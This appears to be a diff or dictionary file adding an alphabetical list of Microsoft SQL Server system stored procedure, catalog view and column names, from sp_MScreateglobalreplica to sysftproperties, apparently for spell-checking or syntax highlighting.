+sp_MScreateglobalreplica +sp_MScreatelightweightinsertproc +sp_MScreatelightweightmultipurposeproc +sp_MScreatelightweightprocstriggersconstraints +sp_MScreatelightweightupdateproc +sp_MScreate_logical_record_views +sp_MScreatemergedynamicsnapshot +sp_MScreateretry +sp_MScreate_sub_tables +sp_MScreate_tempgenhistorytable +sp_MSdbuseraccess +sp_MSdbuserpriv +sp_MSdefer_check +sp_MSdeletefoldercontents +sp_MSdeletemetadataactionrequest +sp_MSdeletepeerconflictrow +sp_MSdeleteretry +sp_MSdelete_tracer_history +sp_MSdeletetranconflictrow +sp_MSdelgenzero +sp_MSdelrow +sp_MSdelrowsbatch +sp_MSdelrowsbatch_downloadonly +sp_MSdelsubrows +sp_MSdelsubrowsbatch +sp_MSdependencies +sp_MSdetectinvalidpeerconfiguration +sp_MSdetectinvalidpeersubscription +sp_MSdetect_nonlogged_shutdown +sp_MSdist_activate_auto_sub +sp_MSdist_adjust_identity +sp_MSdistpublisher_cleanup +sp_MSdistribution_counters +sp_MSdistributoravailable +sp_MSdodatabasesnapshotinitiation +sp_MSdopartialdatabasesnapshotinitiation +sp_MSdrop_6x_publication +sp_MSdrop_6x_replication_agent +sp_MSdrop_anonymous_entry +sp_MSdrop_article +sp_MSdroparticleconstraints +sp_MSdroparticletombstones +sp_MSdropconstraints +sp_MSdrop_distribution_agent +sp_MSdrop_distribution_agentid_dbowner_proxy +sp_MSdrop_dynamic_snapshot_agent +sp_MSdropdynsnapshotvws +sp_MSdropfkreferencingarticle +sp_MSdrop_logreader_agent +sp_MSdrop_merge_agent +sp_MSdropmergearticle +sp_MSdropmergedynamicsnapshotjob +sp_MSdrop_merge_subscription +sp_MSdropobsoletearticle +sp_MSdrop_publication +sp_MSdrop_qreader_history +sp_MSdropretry +sp_MSdrop_snapshot_agent +sp_MSdrop_snapshot_dirs +sp_MSdrop_subscriber_info +sp_MSdrop_subscription +sp_MSdrop_subscription_3rd +sp_MSdrop_tempgenhistorytable +sp_MSdroptemptable +sp_MSdummyupdate +sp_MSdummyupdate90 +sp_MSdummyupdatelightweight +sp_MSdummyupdate_logicalrecord +sp_MSdynamicsnapshotjobexistsatdistributor +sp_MSenable_publication_for_het_sub +sp_MSensure_single_instance +sp_MSenumallpublications +sp_MSenumallsubscriptions +sp_MSenumarticleslightweight +sp_MSenumchanges +sp_MSenumchanges_belongtopartition +sp_MSenumchangesdirect +sp_MSenumchangeslightweight +sp_MSenumchanges_notbelongtopartition +sp_MSenumcolumns +sp_MSenumcolumnslightweight +sp_MSenumdeletes_forpartition +sp_MSenumdeleteslightweight +sp_MSenumdeletesmetadata +sp_MSenum_distribution +sp_MSenumdistributionagentproperties +sp_MSenum_distribution_s +sp_MSenum_distribution_sd +sp_MSenumerate_PAL +sp_MSenumgenerations +sp_MSenumgenerations90 +sp_MSenum_logicalrecord_changes +sp_MSenum_logreader +sp_MSenum_logreader_s +sp_MSenum_logreader_sd +sp_MSenum_merge +sp_MSenum_merge_agent_properties +sp_MSenum_merge_s +sp_MSenum_merge_sd +sp_MSenum_merge_subscriptions +sp_MSenum_merge_subscriptions_90_publication +sp_MSenum_merge_subscriptions_90_publisher +sp_MSenum_metadataaction_requests +sp_MSenumpartialchanges +sp_MSenumpartialchangesdirect +sp_MSenumpartialdeletes +sp_MSenumpubreferences +sp_MSenum_qreader +sp_MSenum_qreader_s +sp_MSenum_qreader_sd +sp_MSenumreplicas +sp_MSenumreplicas90 +sp_MSenum_replication_agents +sp_MSenum_replication_job +sp_MSenum_replqueues +sp_MSenum_replsqlqueues +sp_MSenumretries +sp_MSenumschemachange +sp_MSenum_snapshot +sp_MSenum_snapshot_s +sp_MSenum_snapshot_sd +sp_MSenum_subscriptions +sp_MSenumsubscriptions +sp_MSenumthirdpartypublicationvendornames +sp_MSestimatemergesnapshotworkload +sp_MSestimatesnapshotworkload +sp_MSevalsubscriberinfo +sp_MSevaluate_change_membership_for_all_articles_in_pubid +sp_MSevaluate_change_membership_for_pubid +sp_MSevaluate_change_membership_for_row +sp_MSexecwithlsnoutput +sp_MSfast_delete_trans +sp_MSfetchAdjustidentityrange +sp_MSfetchidentityrange +sp_MSfillupmissingcols +sp_MSfilterclause +sp_MSfix_6x_tasks +sp_MSfixlineageversions +sp_MSFixSubColumnBitmaps +sp_MSfixupbeforeimagetables +sp_MSflush_access_cache +sp_MSforce_drop_distribution_jobs +sp_MSforcereenumeration +sp_MSforeachdb +sp_MSforeachtable +sp_MSforeach_worker +sp_MSgenerateexpandproc +sp_MSget_agent_names +sp_MSgetagentoffloadinfo +sp_MSgetalertinfo +sp_MSgetalternaterecgens +sp_MSgetarticlereinitvalue +sp_MSget_attach_state +sp_MSgetchangecount +sp_MSgetconflictinsertproc +sp_MSgetconflicttablename +sp_MSGetCurrentPrincipal +sp_MSgetdatametadatabatch +sp_MSgetdbversion +sp_MSget_DDL_after_regular_snapshot +sp_MSgetdynamicsnapshotapplock +sp_MSget_dynamic_snapshot_location +sp_MSgetdynsnapvalidationtoken +sp_MSgetgenstatus4rows +sp_MSget_identity_range_info +sp_MSgetisvalidwindowsloginfromdistributor +sp_MSget_jobstate +sp_MSgetlastrecgen +sp_MSgetlastsentgen +sp_MSgetlastsentrecgens +sp_MSget_last_transaction +sp_MSgetlastupdatedtime +sp_MSget_latest_peerlsn +sp_MSgetlightweightmetadatabatch +sp_MSget_load_hint +sp_MSget_logicalrecord_lineage +sp_MSget_log_shipping_new_sessionid +sp_MSgetmakegenerationapplock +sp_MSgetmakegenerationapplock_90 +sp_MSgetmaxbcpgen +sp_MSgetmaxsnapshottimestamp +sp_MSget_max_used_identity +sp_MSgetmergeadminapplock +sp_MSgetmetadatabatch +sp_MSgetmetadatabatch90 +sp_MSgetmetadatabatch90new +sp_MSgetmetadata_changedlogicalrecordmembers +sp_MSget_min_seqno +sp_MSget_MSmerge_rowtrack_colinfo +sp_MSget_new_xact_seqno +sp_MSget_oledbinfo +sp_MSgetonerow +sp_MSgetonerowlightweight +sp_MSget_partitionid_eval_proc +sp_MSgetpeerconflictrow +sp_MSgetpeerlsns +sp_MSgetpeertopeercommands +sp_MSgetpeerwinnerrow +sp_MSgetpubinfo +sp_MSget_publication_from_taskname +sp_MSget_publisher_rpc +sp_MSget_repl_cmds_anonymous +sp_MSget_repl_commands +sp_MSget_repl_error +sp_MSgetreplicainfo +sp_MSgetreplicastate +sp_MSgetrowmetadata +sp_MSgetrowmetadatalightweight +sp_MSget_server_portinfo +sp_MSGetServerProperties +sp_MSget_session_statistics +sp_MSgetsetupbelong_cost +sp_MSget_shared_agent +sp_MSget_snapshot_history +sp_MSgetsubscriberinfo +sp_MSget_subscriber_partition_id +sp_MSget_subscription_dts_info +sp_MSget_subscription_guid +sp_MSgetsupportabilitysettings +sp_MSget_synctran_commands +sp_MSgettrancftsrcrow +sp_MSgettranconflictrow +sp_MSget_type_wrapper +sp_MSgetversion +sp_MSgrantconnectreplication +sp_MShaschangeslightweight +sp_MShasdbaccess +sp_MShelp_article +sp_MShelpcolumns +sp_MShelpconflictpublications +sp_MShelpcreatebeforetable +sp_MShelpdestowner +sp_MShelp_distdb +sp_MShelp_distribution_agentid +sp_MShelpdynamicsnapshotjobatdistributor +sp_MShelpfulltextindex +sp_MShelpfulltextscript +sp_MShelp_identity_property +sp_MShelpindex +sp_MShelplogreader_agent +sp_MShelp_logreader_agentid +sp_MShelp_merge_agentid +sp_MShelpmergearticles +sp_MShelpmergeconflictcounts +sp_MShelpmergedynamicsnapshotjob +sp_MShelpmergeidentity +sp_MShelpmergeschemaarticles +sp_MShelpobjectpublications +sp_MShelp_profile +sp_MShelp_profilecache +sp_MShelp_publication +sp_MShelp_repl_agent +sp_MShelp_replication_status +sp_MShelp_replication_table +sp_MShelpreplicationtriggers +sp_MShelp_snapshot_agent +sp_MShelpsnapshot_agent +sp_MShelp_snapshot_agentid +sp_MShelp_subscriber_info +sp_MShelp_subscription +sp_MShelp_subscription_status +sp_MShelpsummarypublication +sp_MShelptracertokenhistory +sp_MShelptracertokens +sp_MShelptranconflictcounts +sp_MShelptype +sp_MShelpvalidationdate +sp_MSIfExistsSubscription +sp_MSindexspace +sp_MSinitdynamicsubscriber +sp_MSinit_publication_access +sp_MSinit_subscription_agent +sp_MSinsertdeleteconflict +sp_MSinserterrorlineage +sp_MSinsertgenerationschemachanges +sp_MSinsertgenhistory +sp_MSinsert_identity +sp_MSinsertlightweightschemachange +sp_MSinsertschemachange +sp_MSinvalidate_snapshot +sp_MSIsContainedAGSession +sp_MSisnonpkukupdateinconflict +sp_MSispeertopeeragent +sp_MSispkupdateinconflict +sp_MSispublicationqueued +sp_MSisreplmergeagent +sp_MSissnapshotitemapplied +sp_MSkilldb +sp_MSlock_auto_sub +sp_MSlock_distribution_agent +sp_MSlocktable +sp_MSloginmappings +sp_MSmakearticleprocs +sp_MSmakebatchinsertproc +sp_MSmakebatchupdateproc +sp_MSmakeconflictinsertproc +sp_MSmakectsview +sp_MSmakedeleteproc +sp_MSmakedynsnapshotvws +sp_MSmakeexpandproc +sp_MSmakegeneration +sp_MSmakeinsertproc +sp_MSmakemetadataselectproc +sp_MSmakeselectproc +sp_MSmakesystableviews +sp_MSmakeupdateproc +sp_MSmap_partitionid_to_generations +sp_MSmarkreinit +sp_MS_marksystemobject +sp_MSmatchkey +sp_MSmerge_alterschemaonly +sp_MSmerge_altertrigger +sp_MSmerge_alterview +sp_MSmerge_ddldispatcher +sp_MSmerge_getgencount +sp_MSmerge_getgencur_public +sp_MSmerge_is_snapshot_required +sp_MSmerge_log_identity_range_allocations +sp_MSmerge_parsegenlist +sp_MSmergesubscribedb +sp_MSmergeupdatelastsyncinfo +sp_MSmerge_upgrade_subscriber +sp_MSneedmergemetadataretentioncleanup +sp_MSNonSQLDDL +sp_MSNonSQLDDLForSchemaDDL +sp_MSobjectprivs +sp_MSpeerapplyresponse +sp_MSpeerapplytopologyinfo +sp_MSpeerconflictdetection_statuscollection_applyresponse +sp_MSpeerconflictdetection_statuscollection_sendresponse +sp_MSpeerconflictdetection_topology_applyresponse +sp_MSpeerdbinfo +sp_MSpeersendresponse +sp_MSpeersendtopologyinfo +sp_MSpeertopeerfwdingexec +sp_MSpostapplyscript_forsubscriberprocs +sp_MSpost_auto_proc +sp_MSprepare_mergearticle +sp_MSprep_exclusive +sp_MSprofile_in_use +sp_MSproxiedmetadata +sp_MSproxiedmetadatabatch +sp_MSproxiedmetadatalightweight +sp_MSpub_adjust_identity +sp_MSpublication_access +sp_MSpublicationcleanup +sp_MSpublicationview +sp_MSquerysubtype +sp_MSquery_syncstates +sp_MSrecordsnapshotdeliveryprogress +sp_MSreenable_check +sp_MSrefresh_anonymous +sp_MSrefresh_publisher_idrange +sp_MSregenerate_mergetriggersprocs +sp_MSregisterdynsnapseqno +sp_MSregistermergesnappubid +sp_MSregistersubscription +sp_MSreinit_failed_subscriptions +sp_MSreinit_hub +sp_MSreinitoverlappingmergepublications +sp_MSreinit_subscription +sp_MSreleasedynamicsnapshotapplock +sp_MSreleasemakegenerationapplock +sp_MSreleasemergeadminapplock +sp_MSreleaseSlotLock +sp_MSreleasesnapshotdeliverysessionlock +sp_MSremove_mergereplcommand +sp_MSremoveoffloadparameter +sp_MSreplagentjobexists +sp_MSrepl_agentstatussummary +sp_MSrepl_backup_complete +sp_MSrepl_backup_start +sp_MSreplcheckoffloadserver +sp_MSreplcheck_permission +sp_MSrepl_check_publisher +sp_MSreplcheck_pull +sp_MSreplcheck_subscribe +sp_MSreplcheck_subscribe_withddladmin +sp_MSreplcopyscriptfile +sp_MSrepl_createdatatypemappings +sp_MSrepl_distributionagentstatussummary +sp_MSrepl_dropdatatypemappings +sp_MSrepl_enumarticlecolumninfo +sp_MSrepl_enumpublications +sp_MSrepl_enumpublishertables +sp_MSrepl_enumsubscriptions +sp_MSrepl_enumtablecolumninfo +sp_MSrepl_FixPALRole +sp_MSrepl_getdistributorinfo +sp_MSrepl_getpkfkrelation +sp_MSrepl_gettype_mappings +sp_MSrepl_helparticlermo +sp_MS_replication_installed +sp_MSrepl_init_backup_lsns +sp_MSrepl_isdbowner +sp_MSrepl_IsLastPubInSharedSubscription +sp_MSrepl_IsUserInAnyPAL +sp_MSrepl_linkedservers_rowset +sp_MSrepl_mergeagentstatussummary +sp_MSrepl_monitor_job_at_failover +sp_MSrepl_PAL_rolecheck +sp_MSrepl_raiserror +sp_MSreplraiserror +sp_MSrepl_reinit_jobsync_table +sp_MSreplremoveuncdir +sp_MSrepl_schema +sp_MSrepl_setNFR +sp_MSrepl_snapshot_helparticlecolumns +sp_MSrepl_snapshot_helppublication +sp_MSrepl_startup +sp_MSrepl_startup_internal +sp_MSrepl_subscription_rowset +sp_MSrepl_testadminconnection +sp_MSrepl_testconnection +sp_MSreplupdateschema +sp_MSrequestreenumeration +sp_MSrequestreenumeration_lightweight +sp_MSreset_attach_state +sp_MSreset_queued_reinit +sp_MSresetsnapshotdeliveryprogress +sp_MSreset_subscription +sp_MSreset_subscription_seqno +sp_MSreset_synctran_bit +sp_MSreset_transaction +sp_MSrestoresavedforeignkeys +sp_MSretrieve_publication_attributes +sp_MSscript_article_view +sp_MSscriptcustomdelproc +sp_MSscriptcustominsproc +sp_MSscriptcustomupdproc +sp_MSscriptdatabase +sp_MSscriptdb_worker +sp_MSscript_dri +sp_MSscriptforeignkeyrestore +sp_MSscript_pub_upd_trig +sp_MSscriptsubscriberprocs +sp_MSscript_sync_del_proc +sp_MSscript_sync_del_trig +sp_MSscript_sync_ins_proc +sp_MSscript_sync_ins_trig +sp_MSscript_sync_upd_proc +sp_MSscript_sync_upd_trig +sp_MSscriptviewproc +sp_MSsendtosqlqueue +sp_MSsetaccesslist +sp_MSsetalertinfo +sp_MSsetartprocs +sp_MSsetbit +sp_MSsetconflictscript +sp_MSsetconflicttable +sp_MSsetcontext_bypasswholeddleventbit +sp_MSsetcontext_replagent +sp_MSset_dynamic_filter_options +sp_MSsetgentozero +sp_MSsetlastrecgen +sp_MSsetlastsentgen +sp_MSset_logicalrecord_metadata +sp_MSset_new_identity_range +sp_MSset_oledb_prop +sp_MSsetreplicainfo +sp_MSsetreplicaschemaversion +sp_MSsetreplicastatus +sp_MSset_repl_serveroptions +sp_MSsetrowmetadata +sp_MSSetServerProperties +sp_MSset_snapshot_xact_seqno +sp_MSset_sub_guid +sp_MSsetsubscriberinfo +sp_MSset_subscription_properties +sp_MSsettopology +sp_MSsetupbelongs +sp_MSsetup_identity_range +sp_MSsetupnosyncsubwithlsnatdist +sp_MSsetupnosyncsubwithlsnatdist_cleanup +sp_MSsetupnosyncsubwithlsnatdist_helper +sp_MSsetup_partition_groups +sp_MSsetup_use_partition_groups +sp_MSSharedFixedDisk +sp_MSSQLDMO70_version +sp_MSSQLDMO80_version +sp_MSSQLDMO90_version +sp_MSSQLOLE65_version +sp_MSSQLOLE_version +sp_MSstartdistribution_agent +sp_MSstartmerge_agent +sp_MSstartsnapshot_agent +sp_MSstopdistribution_agent +sp_MSstopmerge_agent +sp_MSstopsnapshot_agent +sp_MSsub_check_identity +sp_MSsubscription_status +sp_MSsubscriptionvalidated +sp_MSsub_set_identity +sp_MStablechecks +sp_MStablekeys +sp_MStablerefs +sp_MStablespace +sp_MStestbit +sp_MStran_ddlrepl +sp_MStran_is_snapshot_required +sp_MStrypurgingoldsnapshotdeliveryprogress +sp_MSuniquename +sp_MSunmarkifneeded +sp_MSunmarkreplinfo +sp_MSunmarkschemaobject +sp_MSunregistersubscription +sp_MSupdate_agenttype_default +sp_MSupdatecachedpeerlsn +sp_MSupdategenerations_afterbcp +sp_MSupdategenhistory +sp_MSupdateinitiallightweightsubscription +sp_MSupdatelastsyncinfo +sp_MSupdatepeerlsn +sp_MSupdaterecgen +sp_MSupdatereplicastate +sp_MSupdate_singlelogicalrecordmetadata +sp_MSupdate_subscriber_info +sp_MSupdate_subscriber_schedule +sp_MSupdate_subscriber_tracer_history +sp_MSupdate_subscription +sp_MSupdatesysmergearticles +sp_MSupdate_tracer_history +sp_MSuplineageversion +sp_MSuploadsupportabilitydata +sp_MSuselightweightreplication +sp_MSvalidatearticle +sp_MSvalidate_dest_recgen +sp_MSvalidate_subscription +sp_MSvalidate_wellpartitioned_articles +sp_MSwritemergeperfcounter +sp_new_parallel_nested_tran_id +sp_OACreate +sp_OADestroy +sp_OAGetErrorInfo +sp_OAGetProperty +sp_OAMethod +sp_OASetProperty +sp_OAStop +sp_objectfilegroup +sp_oledb_database +sp_oledb_defdb +sp_oledb_deflang +sp_oledbinfo +sp_oledb_language +sp_oledb_ro_usrname +sp_ORbitmap +sp_password +sp_peerconflictdetection_tableaug +sp_persistent_version_cleanup +sp_pkeys +sp_polybase_authorize +sp_polybase_join_group +sp_polybase_leave_group +sp_polybase_show_objects +sp_PostAgentInfo +sp_posttracertoken +sp_prepare +sp_prepexec +sp_prepexecrpc +sp_primarykeys +sp_primary_keys_rowset +sp_primary_keys_rowset2 +sp_primary_keys_rowset_rmt +sp_procedure_params_100_managed +sp_procedure_params_100_rowset +sp_procedure_params_100_rowset2 +sp_procedure_params_90_rowset +sp_procedure_params_90_rowset2 +sp_procedure_params_managed +sp_procedure_params_rowset +sp_procedure_params_rowset2 +sp_procedures_rowset +sp_procedures_rowset2 +sp_processlogshippingmonitorhistory +sp_processlogshippingmonitorprimary +sp_processlogshippingmonitorsecondary +sp_processlogshippingretentioncleanup +sp_process_memory_leak_record +sp_procoption +sp_prop_oledb_provider +sp_provider_types_100_rowset +sp_provider_types_90_rowset +sp_provider_types_rowset +sp_publicationsummary +sp_publication_validation +sp_publish_database_to_syms +sp_publishdb +sp_publisherproperty +sp_query_store_clear_hints +sp_query_store_consistency_check +sp_query_store_flush_db +sp_query_store_force_plan +sp_query_store_remove_plan +sp_query_store_remove_query +sp_query_store_reset_exec_stats +sp_query_store_set_hints +sp_query_store_unforce_plan +sp_rbpex_exec_cmd +sp_rda_deauthorize_db +sp_rda_get_rpo_duration +sp_rda_reauthorize_db +sp_rda_reconcile_batch +sp_rda_reconcile_columns +sp_rda_reconcile_indexes +sp_rda_set_query_mode +sp_rda_set_rpo_duration +sp_rda_test_connection +sp_readerrorlog +sp_recompile +sp_redirect_publisher +sp_refresh_heterogeneous_publisher +sp_refresh_log_shipping_monitor +sp_refresh_parameter_encryption +sp_refresh_single_snapshot_view +sp_refresh_snapshot_views +sp_refreshsqlmodule +sp_refreshsubscriptions +sp_refreshview +sp_registercustomresolver +sp_register_custom_scripting +sp_reinitmergepullsubscription +sp_reinitmergesubscription +sp_reinitpullsubscription +sp_reinitsubscription +sp_release_all_fido_locks +sp_releaseapplock +sp_release_fido_lock +sp_releaseschemalock +sp_remote_data_archive_event +sp_remoteoption +sp_remove_columnstore_column_dictionary +sp_removedbreplication +sp_removedistpublisherdbreplication +sp_removesrvreplication +sp_rename +sp_renamedb +sp_repladdcolumn +sp_replcleanupccsprocs +sp_replcmds +sp_replcounters +sp_replddlparser +sp_repldeletequeuedtran +sp_repldone +sp_repldropcolumn +sp_replflush +sp_repl_generateevent +sp_repl_generate_subscriber_event +sp_repl_generate_sync_status_event +sp_replgetparsedddlcmd +sp_replhelp +sp_replica +sp_replication_agent_checkup +sp_replicationdboption +sp_replincrementlsn +sp_replmonitorchangepublicationthreshold +sp_replmonitorgetoriginalpublisher +sp_replmonitorhelpmergesession +sp_replmonitorhelpmergesessiondetail +sp_replmonitorhelpmergesubscriptionmoreinfo +sp_replmonitorhelppublication +sp_replmonitorhelppublicationthresholds +sp_replmonitorhelppublisher +sp_replmonitorhelpsubscription +sp_replmonitorrefreshjob +sp_replmonitorsubscriptionpendingcmds +sp_replpostsyncstatus +sp_replqueuemonitor +sp_replrestart +sp_replrethrow +sp_replsendtoqueue +sp_replsetoriginator +sp_replsetsyncstatus +sp_replshowcmds +sp_replsqlqgetrows +sp_replsync +sp_repltrans +sp_replwritetovarbin +sp_requestpeerresponse +sp_requestpeertopologyinfo +sp_reserve_http_namespace +sp_reset_connection +sp_reset_session_context +sp_resetsnapshotdeliveryprogress +sp_resetstatus +sp_resign_database +sp_resolve_logins +sp_restoredbreplication +sp_restore_filelistonly +sp_restoremergeidentityrange +sp_resyncexecute +sp_resyncexecutesql +sp_resyncmergesubscription +sp_resyncprepare +sp_resyncuniquetable +sp_revokedbaccess +sp_revokelogin +sp_revoke_publication_access +sp_rollback_parallel_nested_tran +sp_schemafilter +sp_schemata_rowset +sp_scriptdelproc +sp_scriptdynamicupdproc +sp_scriptinsproc +sp_scriptmappedupdproc +sp_scriptpublicationcustomprocs +sp_script_reconciliation_delproc +sp_script_reconciliation_insproc +sp_script_reconciliation_sinsproc +sp_script_reconciliation_vdelproc +sp_script_reconciliation_xdelproc +sp_scriptsinsproc +sp_scriptsubconflicttable +sp_scriptsupdproc +sp_script_synctran_commands +sp_scriptupdproc +sp_scriptvdelproc +sp_scriptvupdproc +sp_scriptxdelproc +sp_scriptxupdproc +sp_sequence_get_range +sp_server_diagnostics +sp_server_info +sp_serveroption +sp_setapprole +sp_SetAutoSAPasswordAndDisable +sp_set_data_processed_limit +sp_setdefaultdatatypemapping +sp_set_distributed_query_context +sp_setnetname +sp_SetOBDCertificate +sp_setOraclepackageversion +sp_setreplfailovermode +sp_set_session_context +sp_set_session_resource_group +sp_setsubscriptionxactseqno +sp_settriggerorder +sp_setuserbylogin +sp_showcolv +sp_showinitialmemo_xml +sp_showlineage +sp_showmemo_xml +sp_show_openrowset_statistics +sp_showpendingchanges +sp_showrowreplicainfo +sp_sm_detach +sp_spaceused +sp_spaceused_remote_data_archive +sp_sparse_columns_100_rowset +sp_special_columns +sp_special_columns_100 +sp_special_columns_90 +sp_sproc_columns +sp_sproc_columns_100 +sp_sproc_columns_90 +sp_sqlagent_add_job +sp_sqlagent_add_jobstep +sp_sqlagent_delete_job +sp_sqlagent_help_jobstep +sp_sqlagent_log_job_history +sp_sqlagent_start_job +sp_sqlagent_stop_job +sp_sqlagent_verify_database_context +sp_sqlagent_write_jobstep_log +sp_sqlexec +sp_sqljdbc_xa_install +sp_sqljdbc_xa_uninstall +sp_srvrolepermission +sp_start_fixed_vlf +sp_startmergepullsubscription_agent +sp_startmergepushsubscription_agent +sp_startpublication_snapshot +sp_startpullsubscription_agent +sp_startpushsubscription_agent +sp_start_streaming_job +sp_start_user_instance +sp_statistics +sp_statistics_100 +sp_statistics_rowset +sp_statistics_rowset2 +sp_stopmergepullsubscription_agent +sp_stopmergepushsubscription_agent +sp_stoppublication_snapshot +sp_stoppullsubscription_agent +sp_stoppushsubscription_agent +sp_stop_streaming_job +sp_stored_procedures +sp_subscribe +sp_subscription_cleanup +sp_subscriptionsummary +sp_synapse_link_enable_db +sp_synapse_link_enable_table +sp_syspolicy_execute_policy +sp_syspolicy_subscribe_to_policy_category +sp_syspolicy_unsubscribe_from_policy_category +sp_syspolicy_update_ddl_trigger +sp_syspolicy_update_event_notification +sp_tablecollations +sp_tablecollations_100 +sp_tablecollations_90 +sp_table_constraints_rowset +sp_table_constraints_rowset2 +sp_tableoption +sp_table_privileges +sp_table_privileges_ex +sp_table_privileges_rowset +sp_table_privileges_rowset2 +sp_table_privileges_rowset_rmt +sp_tables +sp_tables_ex +sp_tables_info_90_rowset +sp_tables_info_90_rowset2 +sp_tables_info_90_rowset2_64 +sp_tables_info_90_rowset_64 +sp_tables_info_rowset +sp_tables_info_rowset2 +sp_tables_info_rowset2_64 +sp_tables_info_rowset_64 +sp_tables_rowset +sp_tables_rowset2 +sp_tables_rowset_rmt +sp_table_statistics2_rowset +sp_table_statistics_rowset +sp_tableswc +sp_table_type_columns_100 +sp_table_type_columns_100_rowset +sp_table_type_pkeys +sp_table_type_primary_keys_rowset +sp_table_types +sp_table_types_rowset +sp_table_validation +sp_testlinkedserver +spt_fallback_db +spt_fallback_dev +spt_fallback_usg +spt_monitor +sp_trace_create +sp_trace_generateevent +sp_trace_getdata +sp_trace_setevent +sp_trace_setfilter +sp_trace_setstatus +sp_try_set_session_context +spt_values +sp_unbindefault +sp_unbindrule +sp_unprepare +sp_unregistercustomresolver +sp_unregister_custom_scripting +sp_unsetapprole +sp_unsubscribe +sp_update_agent_profile +sp_updateextendedproperty +sp_update_logical_pause_flag +sp_updatestats +sp_update_user_instance +sp_upgrade_log_shipping +sp_user_counter1 +sp_user_counter10 +sp_user_counter2 +sp_user_counter3 +sp_user_counter4 +sp_user_counter5 +sp_user_counter6 +sp_user_counter7 +sp_user_counter8 +sp_user_counter9 +sp_usertypes_rowset +sp_usertypes_rowset2 +sp_usertypes_rowset_rmt +sp_validatecache +sp_validatelogins +sp_validatemergepublication +sp_validatemergepullsubscription +sp_validatemergesubscription +sp_validate_redirected_publisher +sp_validate_replica_hosts_as_publishers +sp_validlang +sp_validname +sp_verify_database_ledger +sp_verifypublisher +sp_views_rowset +sp_views_rowset2 +sp_vupgrade_mergeobjects +sp_vupgrade_mergetables +sp_vupgrade_mergetables_v2 +sp_vupgrade_replication +sp_vupgrade_replsecurity_metadata +sp_who +sp_who2 +sp_xa_commit +sp_xa_end +sp_xa_forget +sp_xa_forget_ex +sp_xa_init +sp_xa_init_ex +sp_xa_prepare +sp_xa_prepare_ex +sp_xa_recover +sp_xa_rollback +sp_xa_rollback_ex +sp_xa_start +sp_xcs_mark_column_relation +sp_xml_preparedocument +sp_xml_removedocument +sp_xml_schema_rowset +sp_xml_schema_rowset2 +sp_xp_cmdshell_proxy_account +sp_xtp_bind_db_resource_pool +sp_xtp_checkpoint_force_garbage_collection +sp_xtp_control_proc_exec_stats +sp_xtp_control_query_exec_stats +sp_xtp_flush_temporal_history +sp_xtp_kill_active_transactions +sp_xtp_merge_checkpoint_files +sp_xtp_objects_present +sp_xtp_set_memory_quota +sp_xtp_slo_can_downgrade +sp_xtp_slo_downgrade_finished +sp_xtp_slo_prepare_to_downgrade +sp_xtp_unbind_db_resource_pool +sql +sqlagent_job_history +sqlagent_jobs +sqlagent_jobsteps +sqlagent_jobsteps_logs +sqlbytes +sqlcrypt_version +SQL_DATA_ACCESS +sql_db_id +sql_dependencies +SqlDumperDumpFlags +SqlDumperDumpPath +SqlDumperDumpTimeOut +sql_expression_dependencies +sql_handle +SqlHandle +sql_logins +sql_memory_model +sql_memory_model_desc +sql_message_id +sql_modules +SQL_PATH +sql_plan_node_id +sql_prof_address +sqlserver_start_time +sqlserver_start_time_ms_ticks +sql_severity +sql_spid +sql_text +sql_variant +srvcollation +srvid +srvname +srvnetname +srvproduct +srvstatus +ssl_port +ssrv +stack_address +stack_base_address +stack_bytes_committed +stack_bytes_used +stack_checker_address +stack_end_address +stack_size_in_bytes +stage +stale_query_threshold_days +start_column_id +start_date +started_by_sqlservr +started_count +start_entry_point +start_log_block_id +start_lsn +start_quantum +start_step_id +start_time +StartTime +start_time_utc +startup_state +startup_time +startup_type +startup_type_desc +start_value +START_VALUE +statblob +state +State +state_desc +state_description +state_machine_name +statement +statement_context_id +statement_end_offset +statement_line_number +statement_offset_begin +statement_offset_end +statement_offset_start +statement_sql_handle +statement_start_offset +statement_type +statistical_semantics +statistics_start_time +stats +stats_blob +stats_column_id +stats_columns +stats_enabled +stats_generation_method +stats_generation_method_desc +stats_id +stats_schema_ver +status +status2 +status_desc +status_description +statussequence +status_time +StatVersion +stdev_clr_time +stdev_cpu_time +stdev_dop +stdev_duration +stdev_log_bytes_used +stdev_logical_io_reads +stdev_logical_io_writes +stdev_num_physical_io_reads +stdev_page_server_io_reads +stdev_physical_io_reads +stdev_query_max_used_memory +stdev_query_wait_time_ms +stdev_rowcount +stdev_tempdb_space_used +stdev_time +step_count +step_id +step_index +step_name +step_number +steps +step_uid +stmt_end +stmt_start +stop_entry_point +stoplist_id +stoplistid +stop_time +stopword +storage_key +storage_pool_id +storage_pool_node_name +storage_space_used_mb +stream_id +string_delimiter +string_description +string_sid +strong_refcount +sub +subclass_name +subclass_value +subentity_name +subid +subid_push +subid_tran +subject +sublatch_address +submit_time +subobjid +subsystem +subsystem_dll +subsystem_id +succeeded +success +Success +sumsquare_clr_time +sumsquare_cpu_time +sumsquare_dop +sumsquare_duration +sumsquare_log_bytes_used +sumsquare_logical_io_reads +sumsquare_logical_io_writes +sumsquare_num_physical_io_reads +sumsquare_page_server_io_reads +sumsquare_physical_io_reads +sumsquare_query_max_used_memory +sumsquare_query_wait_time_ms +sumsquare_rowcount +sumsquare_tempdb_space_used +superlatch_address +supports_alternate_streams +supports_compression +supports_sparse_files +suppress_dup_key_messages +survived_memory_kb +suspend_reason +suspend_reason_desc +svcbrkrguid +svccontr +svcid +sweep_rows_expired +sweep_rows_expired_removed +sweep_rows_expiring +sweep_rows_touched +sweep_scan_retries +sweep_scans_started +symbol_space +symbol_space_desc +symmetric_key_export +symmetric_key_id +symmetric_key_import +symmetric_key_persistance +symmetric_keys +symmetric_key_support +symspace +sync_action +synchronization_health +synchronization_health_desc +synchronization_state +synchronization_state_desc +sync_id +sync_reason +sync_result +synonyms +sysadmin +sysallocunits +sysaltfiles +sysasymkeys +sysaudacts +sysbinobjs +sysbinsubobjs +sysbrickfiles +syscacheobjects +syscerts +syscharsets +syschildinsts +sysclones +sysclsobjs +syscolpars +syscolumns +syscomments +syscommittab +syscompfragments +sysconfigures +sysconstraints +sysconvgroup +syscscolsegments +syscscontainers +syscsdictionaries +syscsrowgroups +syscurconfigs +syscursorcolumns +syscursorrefs +syscursors +syscursortables +sysdatabases +sysdbfiles +sysdbfrag +sysdbpath +sysdbreg +sysdepends +sysdercv +sysdesend +sysdevices +sysendpts +sysextendedrecoveryforks +sysextfileformats +sysextsources +sysexttables +sysfgfrag +sysfilegroups +sysfiles +sysfiles1 +sysfoqueues +sysforeignkeys +sysfos +sysftinds +sysftproperties 